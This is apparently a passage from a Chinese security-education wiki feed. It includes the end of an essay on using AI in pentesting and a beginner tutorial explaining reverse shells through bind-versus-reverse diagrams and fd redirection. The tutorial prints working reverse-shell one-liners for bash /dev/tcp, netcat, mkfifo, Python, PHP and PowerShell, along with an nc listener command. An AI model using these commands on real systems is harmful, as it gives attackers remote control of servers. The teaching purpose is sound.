<p>AI 有个出名的毛病，叫「幻觉」——它会一本正经地编造不存在的函数、漏洞编号，甚至整条利用链，语气还特别笃定。你要是照单全收，能被带沟里去。</p>
<p>能不能一眼看出「这段代码不对劲」，靠的不是运气，是你脑子里有底层原理这把尺子。<strong>懂的人用 AI 是校验，不懂的人用 AI 是赌博。</strong></p>
<p><strong>2. 理解现场的能力</strong></p>
<p>同一个漏洞，靶场里一打一个准，搬到真实业务上就是不响。</p>
<p>差别往往不在漏洞本身，而在环境：防火墙策略、网络拓扑、配置差异、防护软件……这些是「现场情况」，AI 看不到你的现场，自然给不了答案。能结合现场调整打法，是工程师，不是脚本小子。</p>
<p><strong>3. 定义问题的能力</strong></p>
<p>AI 回答得好不好，一半取决于你问得对不对。</p>
<p>新手只会说「报错了，怎么办」；高手能把一个模糊的故障，拆成几个清晰、可验证的小问题，一步步逼近根因。<strong>把问题定义清楚，问题就解决了一半</strong>——这件事，AI 帮不了你，因为它需要你先理解发生了什么。</p>
<p><strong>4. 承担责任的能力</strong></p>
<p>渗透测试是要签字、要负责的。授权范围是什么、动了哪些系统、造成了什么影响，都得有人担着。</p>
<p>出了事，你不能跟客户、跟监管说「是 AI 让我这么打的」。<strong>工具不担责，用工具的人担责。</strong> 这也是为什么「人」在这个环节里永远不可省略。</p>
<h2 id="四、把-ai-当成杠杆-而不是拐杖" tabindex="-1">四、把 AI 当成杠杆，而不是拐杖 <a class="header-anchor" href="#四、把-ai-当成杠杆-而不是拐杖" aria-label="Permalink to &quot;四、把 AI 当成杠杆，而不是拐杖&quot;"></a></h2>
<p>有个很形象的说法：<strong>AI 是杠杆。</strong></p>
<p>杠杆能放大你的力量，但前提是得有个支点。这个支点，就是你自己懂原理、能判断的大脑。</p>
<ul>
<li>你本身是懂的，AI 帮你把一小时的活压缩到十分钟，它放大的是你的能力；</li>
<li>你本身是空的，只会复制粘贴，那它放大的，是错误和风险。</li>
</ul>
<p>同样用 AI，有人越用越强，有人越用越废，差别就在支点在不在。</p>
<h2 id="写在最后" tabindex="-1">写在最后 <a class="header-anchor" href="#写在最后" aria-label="Permalink to &quot;写在最后&quot;"></a></h2>
<p>所以这个 Wiki 从第一篇开始，就不打算让你死记硬背任何 POC。</p>
<p>POC 网上一搜一大把，AI 一秒生成。我们要一起搞懂的，是 POC 背后那些东西：它为什么成立、依赖什么条件、换个场景怎么变通、出了问题怎么排查。</p>
<p>这些东西学得慢一点、费点脑子，但它们有两个好处：<strong>AI 一时半会儿拿不走，而且越积累越值钱。</strong></p>
<p>下一篇，我们会把 AI 这个工具的边界彻底讲清楚——它到底能做什么、不能做什么（后续更新，可在入门筑基目录关注）。</p>
<div class="page-footer">
  © 2026 光跃Eason·安研社<br>
  仅限授权安全测试与学习研究使用，禁止用于任何非法攻击场景。<br>
  微信：lightleap612
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[反弹Shell到底是什么：一条命令为什么能控制一台服务器]]></title>
            <link>https://gysec.top/learn/reverse-shell-essence</link>
            <guid isPermaLink="false">https://gysec.top/learn/reverse-shell-essence</guid>
            <pubDate>Mon, 21 Sep 2026 03:09:58 GMT</pubDate>
            <description><![CDATA[
[← 返回入门筑基](/wiki/)

# 反弹Shell到底是什么：一条命令为什么能控制一台服务器

复现漏洞最有成就感的瞬间，往往是这一幕：

你在自己电脑上敲了条命令，黑窗口里突然跳出对方服务器的提示符。你输 `whoami`，它回 `root`；你输 `ls`，它把对方的文件列了出来。

这就是大家常说的 **GetShell**，更具体点，叫「反弹 Shell」。

名字听着玄乎，其实原理一点都不复杂。这一篇，我们把它从头到脚讲明白。

## 一、先搞懂：Shell 是个什么东西

你可以把 Shell 理解成一个「传令兵」：

你用键盘输入命令，它负责翻译成操作系统听得懂的话、交给系统执行，再把结果带回来显示给你。

其实你早就用过它了——在 Linux 上打开终端，那个等你输入命令、一闪一闪的界面，就是一个 Shell。你输 `ls`，它列文件；你输 `cd`，它换目录。

**所谓「拿到了 Shell」，说白了就是：你现在能对那台远程机器发号施令了。**

问题只剩一个：你和那台机器之间，这条「传令通道」是怎么连上的？

## 二、正向连不上，那就让它「打回来」

连接有两个方向，这是理解反弹 Shell 的关键。

**第一种，叫正向（bind）**：让目标机器开一扇门，老老实实等着你去敲门、进去。

听起来很自然，但现实中几乎行不通。因为服务器都躲在防火墙、内网后面，规则通常是「里面的人能出去，外面的人别想随便进来」。你在外面使劲敲，门根本够不着。

**第二种，叫反弹（reverse）**：换个思路——既然我进不去，那就让目标机器**主动来连我**。

防火墙拦的是「外面进来的」，对「里面主动出去的」连接往往管得没那么严。于是这条连接就能成功建立。一旦连上，你照样能发号施令。

打个比方：

> 你进不去一栋大楼，门口有保安（防火墙）。但你想办法让楼里的人**主动给你打了个电话**。电话接通后，他在那头听你指挥，你让他看哪个房间，他就去看、再把情况告诉你。

你 = 攻击机；楼里的人 = 目标服务器；这通电话 = 反弹 Shell。

两种方向画成图是这样：

```mermaid
flowchart LR
    subgraph BIND["正向 Bind"]
      direction LR
      ATK1["攻击机"] -->|"主动连入（常被防火墙拦）"| T1["目标：开门监听端口"]
    end
    subgraph REV["反弹 Reverse"]
      direction LR
      T2["目标"] -->|"主动发起出站连接（较易放行）"| ATK2["攻击机：监听等待"]
    end
```

| 对比项 | 正向 Shell（Bind） | 反弹 Shell（Reverse） |
|]]></description>
            <content:encoded><![CDATA[<p><a href="/wiki/">← 返回入门筑基</a></p>
<h1 id="反弹shell到底是什么-一条命令为什么能控制一台服务器" tabindex="-1">反弹Shell到底是什么：一条命令为什么能控制一台服务器 <a class="header-anchor" href="#反弹shell到底是什么-一条命令为什么能控制一台服务器" aria-label="Permalink to &quot;反弹Shell到底是什么：一条命令为什么能控制一台服务器&quot;"></a></h1>
<p>复现漏洞最有成就感的瞬间，往往是这一幕：</p>
<p>你在自己电脑上敲了条命令，黑窗口里突然跳出对方服务器的提示符。你输 <code>whoami</code>，它回 <code>root</code>；你输 <code>ls</code>，它把对方的文件列了出来。</p>
<p>这就是大家常说的 <strong>GetShell</strong>，更具体点，叫「反弹 Shell」。</p>
<p>名字听着玄乎，其实原理一点都不复杂。这一篇，我们把它从头到脚讲明白。</p>
<h2 id="一、先搞懂-shell-是个什么东西" tabindex="-1">一、先搞懂：Shell 是个什么东西 <a class="header-anchor" href="#一、先搞懂-shell-是个什么东西" aria-label="Permalink to &quot;一、先搞懂：Shell 是个什么东西&quot;"></a></h2>
<p>你可以把 Shell 理解成一个「传令兵」：</p>
<p>你用键盘输入命令，它负责翻译成操作系统听得懂的话、交给系统执行，再把结果带回来显示给你。</p>
<p>其实你早就用过它了——在 Linux 上打开终端，那个等你输入命令、一闪一闪的界面，就是一个 Shell。你输 <code>ls</code>，它列文件；你输 <code>cd</code>，它换目录。</p>
<p><strong>所谓「拿到了 Shell」，说白了就是：你现在能对那台远程机器发号施令了。</strong></p>
<p>问题只剩一个：你和那台机器之间，这条「传令通道」是怎么连上的？</p>
<h2 id="二、正向连不上-那就让它「打回来」" tabindex="-1">二、正向连不上，那就让它「打回来」 <a class="header-anchor" href="#二、正向连不上-那就让它「打回来」" aria-label="Permalink to &quot;二、正向连不上，那就让它「打回来」&quot;"></a></h2>
<p>连接有两个方向，这是理解反弹 Shell 的关键。</p>
<p><strong>第一种，叫正向（bind）</strong>：让目标机器开一扇门，老老实实等着你去敲门、进去。</p>
<p>听起来很自然，但现实中几乎行不通。因为服务器都躲在防火墙、内网后面，规则通常是「里面的人能出去，外面的人别想随便进来」。你在外面使劲敲，门根本够不着。</p>
<p><strong>第二种，叫反弹（reverse）</strong>：换个思路——既然我进不去，那就让目标机器<strong>主动来连我</strong>。</p>
<p>防火墙拦的是「外面进来的」，对「里面主动出去的」连接往往管得没那么严。于是这条连接就能成功建立。一旦连上，你照样能发号施令。</p>
<p>打个比方：</p>
<blockquote>
<p>你进不去一栋大楼，门口有保安（防火墙）。但你想办法让楼里的人<strong>主动给你打了个电话</strong>。电话接通后，他在那头听你指挥，你让他看哪个房间，他就去看、再把情况告诉你。</p>
</blockquote>
<p>你 = 攻击机；楼里的人 = 目标服务器；这通电话 = 反弹 Shell。</p>
<p>两种方向画成图是这样：</p>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20LR%0A%20%20%20%20subgraph%20BIND%5B%22%E6%AD%A3%E5%90%91%20Bind%22%5D%0A%20%20%20%20%20%20direction%20LR%0A%20%20%20%20%20%20ATK1%5B%22%E6%94%BB%E5%87%BB%E6%9C%BA%22%5D%20--%3E%7C%22%E4%B8%BB%E5%8A%A8%E8%BF%9E%E5%85%A5%EF%BC%88%E5%B8%B8%E8%A2%AB%E9%98%B2%E7%81%AB%E5%A2%99%E6%8B%A6%EF%BC%89%22%7C%20T1%5B%22%E7%9B%AE%E6%A0%87%EF%BC%9A%E5%BC%80%E9%97%A8%E7%9B%91%E5%90%AC%E7%AB%AF%E5%8F%A3%22%5D%0A%20%20%20%20end%0A%20%20%20%20subgraph%20REV%5B%22%E5%8F%8D%E5%BC%B9%20Reverse%22%5D%0A%20%20%20%20%20%20direction%20LR%0A%20%20%20%20%20%20T2%5B%22%E7%9B%AE%E6%A0%87%22%5D%20--%3E%7C%22%E4%B8%BB%E5%8A%A8%E5%8F%91%E8%B5%B7%E5%87%BA%E7%AB%99%E8%BF%9E%E6%8E%A5%EF%BC%88%E8%BE%83%E6%98%93%E6%94%BE%E8%A1%8C%EF%BC%89%22%7C%20ATK2%5B%22%E6%94%BB%E5%87%BB%E6%9C%BA%EF%BC%9A%E7%9B%91%E5%90%AC%E7%AD%89%E5%BE%85%22%5D%0A%20%20%20%20end%0A" /></div><table tabindex="0">
<thead>
<tr>
<th>对比项</th>
<th>正向 Shell（Bind）</th>
<th>反弹 Shell（Reverse）</th>
</tr>
</thead>
<tbody>
<tr>
<td>谁主动发起连接</td>
<td>攻击机 → 目标</td>
<td>目标 → 攻击机</td>
</tr>
<tr>
<td>目标要做的事</td>
<td>在本地开一个监听端口</td>
<td>主动连出到攻击机</td>
</tr>
<tr>
<td>主要障碍</td>
<td>入站端口常被防火墙/NAT 挡住</td>
<td>目标需能出网到攻击机</td>
</tr>
<tr>
<td>典型场景</td>
<td>同网段、可控防火墙</td>
<td>公网打内网、绝大多数实战</td>
</tr>
</tbody>
</table>
<h2 id="三、一条经典命令-逐段拆开看" tabindex="-1">三、一条经典命令，逐段拆开看 <a class="header-anchor" href="#三、一条经典命令-逐段拆开看" aria-label="Permalink to &quot;三、一条经典命令，逐段拆开看&quot;"></a></h2>
<p>最常见的一条反弹命令长这样（先别慌，我们一段段拆）：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">bash</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -i</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> >&#x26;</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> /dev/tcp/你的IP地址/你的端口</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0>&#x26;1</span></span></code></pre>
</div><p><strong><code>bash -i</code></strong>
启动一个交互式的 Shell（<code>-i</code> = interactive）。就是专门给人用、能一问一答的那种。</p>
<p><strong><code>/dev/tcp/你的IP/你的端口</code></strong>
这是 Bash 提供的一个特殊写法。你往这个「文件」写东西，本质上就是向「你的 IP + 端口」发起一个网络连接。对方是谁？就是你自己的攻击机。</p>
<p><strong><code>&gt;&amp;</code> 和 <code>0&gt;&amp;1</code></strong>
这两段是重定向，作用是把 Shell 的输入和输出，全都「接到」刚才那条网络连接上。这样你敲的字能传过去，它执行的结果能传回来。</p>
<p>要看懂重定向，先记住三个标准文件描述符：</p>
<table tabindex="0">
<thead>
<tr>
<th>描述符</th>
<th>名字</th>
<th>默认指向</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0</code></td>
<td>标准输入 stdin</td>
<td>键盘</td>
</tr>
<tr>
<td><code>1</code></td>
<td>标准输出 stdout</td>
<td>屏幕</td>
</tr>
<tr>
<td><code>2</code></td>
<td>标准错误 stderr</td>
<td>屏幕</td>
</tr>
</tbody>
</table>
<p><code>&gt;&amp; /dev/tcp/...</code> 是把输出（默认 1）重定向到这条连接；<code>0&gt;&amp;1</code> 是&quot;让输入 0 指向输出 1 现在去的地方&quot;，也就是也接到连接上。一来一回，通道就双向打通了。</p>
<p>整句话翻译成人话就是：</p>
<blockquote>
<p>「在目标机器上开一个 Shell，让它连到我这台机器的指定端口，并且把它的输入输出全走这条连接。」</p>
</blockquote>
<h2 id="四、别忘了-你这边得先「接电话」" tabindex="-1">四、别忘了：你这边得先「接电话」 <a class="header-anchor" href="#四、别忘了-你这边得先「接电话」" aria-label="Permalink to &quot;四、别忘了：你这边得先「接电话」&quot;"></a></h2>
<p>既然是让目标主动打给你，那你这边必须先有一台「电话」在等着，否则它打过来没人接。</p>
<p>这台电话，就是在<strong>你自己的攻击机</strong>上启动的监听，最常用的是 <code>nc</code>（netcat）：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">nc</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -lvvp</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 你的端口</span></span></code></pre>
</div><ul>
<li><code>-l</code>：监听模式，相当于把电话拿起来等；</li>
<li><code>-v</code>：显示详细信息，有连接进来你能看到；</li>
<li><code>-p</code> 后面跟端口号，要和反弹命令里写的端口<strong>一模一样</strong>。</li>
</ul>
<p>顺序千万别搞反：<strong>先在自己机器开监听，再去触发目标的反弹命令。</strong> 就像你得先开机等着，对方的电话才能打通。</p>
<p>一切顺利的话，监听窗口里就会跳出目标机器的 Shell——恭喜，你 GetShell 了。</p>
<h2 id="五、新手最容易踩的几个坑" tabindex="-1">五、新手最容易踩的几个坑 <a class="header-anchor" href="#五、新手最容易踩的几个坑" aria-label="Permalink to &quot;五、新手最容易踩的几个坑&quot;"></a></h2>
<p>反弹 Shell 看着简单，新手翻车基本就这几个原因，先记住，能省你好几个小时：</p>
<p><strong>1. 反弹 IP 填错（最高发）</strong></p>
<p>命令里「你的 IP」必须是<strong>目标能够访问到的、你这台攻击机的地址</strong>。</p>
<ul>
<li>填 <code>127.0.0.1</code>：那是让目标连它自己，你当然啥也收不到；</li>
<li>在 Docker 靶场里乱填 <code>172.x.x.x</code>：容器网络和你想的不一样；</li>
<li>靶场和攻击机不在一台机器上，却填了内网地址。</li>
</ul>
<p>记住一个原则：<strong>填你攻击机的真实可达 IP</strong>（云服务器就填它的公网 IP）。</p>
<p><strong>2. 端口没监听，或被防火墙拦</strong></p>
<p>一边没开 <code>nc</code>，或者端口被安全组、防火墙挡住，连接照样建立不了。云服务器记得在控制台放行你用的端口。</p>
<p><strong>3. 命令被「程序」执行时，重定向语法失效</strong></p>
<p>这是个进阶大坑：很多漏洞里，命令不是交给 Bash、而是交给类似 Java 的 <code>Runtime.exec()</code> 来执行的。它不认 <code>&gt;&amp;</code>、<code>/dev/tcp</code> 这一套 Bash 语法，结果命令被拆得七零八落，Shell 弹不出来。</p>
<p>这个坑在 Tomcat 那个 GetShell 案例里我完整踩过、也给了绕过办法（Base64 + 花括号），等你学到对应漏洞的 Step3 详解时会看到，这里先有个印象。</p>
<h2 id="六、不同环境-用哪条反弹命令" tabindex="-1">六、不同环境，用哪条反弹命令 <a class="header-anchor" href="#六、不同环境-用哪条反弹命令" aria-label="Permalink to &quot;六、不同环境，用哪条反弹命令&quot;"></a></h2>
<p>目标机器上有什么解释器，就用对应的命令。把下面的 <code>IP</code>、<code>PORT</code> 换成你攻击机的地址和监听端口：</p>
<table tabindex="0">
<thead>
<tr>
<th>环境</th>
<th>反弹命令（示意）</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Bash</strong></td>
<td><code>bash -i &gt;&amp; /dev/tcp/IP/PORT 0&gt;&amp;1</code></td>
</tr>
<tr>
<td><strong>nc（支持 -e）</strong></td>
<td><code>nc -e /bin/sh IP PORT</code></td>
</tr>
<tr>
<td><strong>nc（不支持 -e）</strong></td>
<td><code>rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc IP PORT &gt;/tmp/f</code></td>
</tr>
<tr>
<td><strong>Python</strong></td>
<td><code>python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((&quot;IP&quot;,PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])'</code></td>
</tr>
<tr>
<td><strong>PHP</strong></td>
<td><code>php -r '$s=fsockopen(&quot;IP&quot;,PORT);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);'</code></td>
</tr>
<tr>
<td><strong>PowerShell（Windows）</strong></td>
<td><code>powershell -nop -c &quot;$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();...&quot;</code>（完整一行版）</td>
</tr>
</tbody>
</table>
<p>选用顺序通常是：<strong>先看有没有 bash/python 这类好构造的，再退而求其次用 nc/PHP</strong>。判断目标有什么，可以在注入点执行 <code>which bash python python3 nc php</code>（有回显时），或从目标是什么应用、什么镜像来推断。</p>
<blockquote>
<p>提醒：这些命令在&quot;交给 shell 执行&quot;时最顺。如果是被 <code>Runtime.exec</code> 这类<strong>不经 shell</strong> 的函数执行，特殊符号和 <code>/dev/tcp</code> 会失效，需要用 Base64 编码 + <code>bash -c {echo,...}</code> 的方式还原成 shell 执行——对应 Tomcat 案例 Step3 详解。</p>
</blockquote>
<h2 id="写在最后" tabindex="-1">写在最后 <a class="header-anchor" href="#写在最后" aria-label="Permalink to &quot;写在最后&quot;"></a></h2>
<p>反弹 Shell 一点魔法都没有，它就三步：</p>
<ol>
<li>在自己机器开监听（接电话）；</li>
<li>让目标执行反弹命令（主动打给你）；</li>
<li>连接建立，开始发号施令。</li>
</ol>
<p>真正难的从来不是这条命令本身，而是<strong>怎么在具体的漏洞和环境里，让这条命令成功跑起来</strong>——这正是后面一个个实战案例要带你练的东西。</p>
<div class="page-footer">
  © 2026 光跃Eason·安研社<br>
  仅限授权安全测试与学习研究使用，禁止用于任何非法攻击场景。<br>
  微信：lightleap612
</div>
]]></content:encoded>
        </item>
    </channel>
</rss>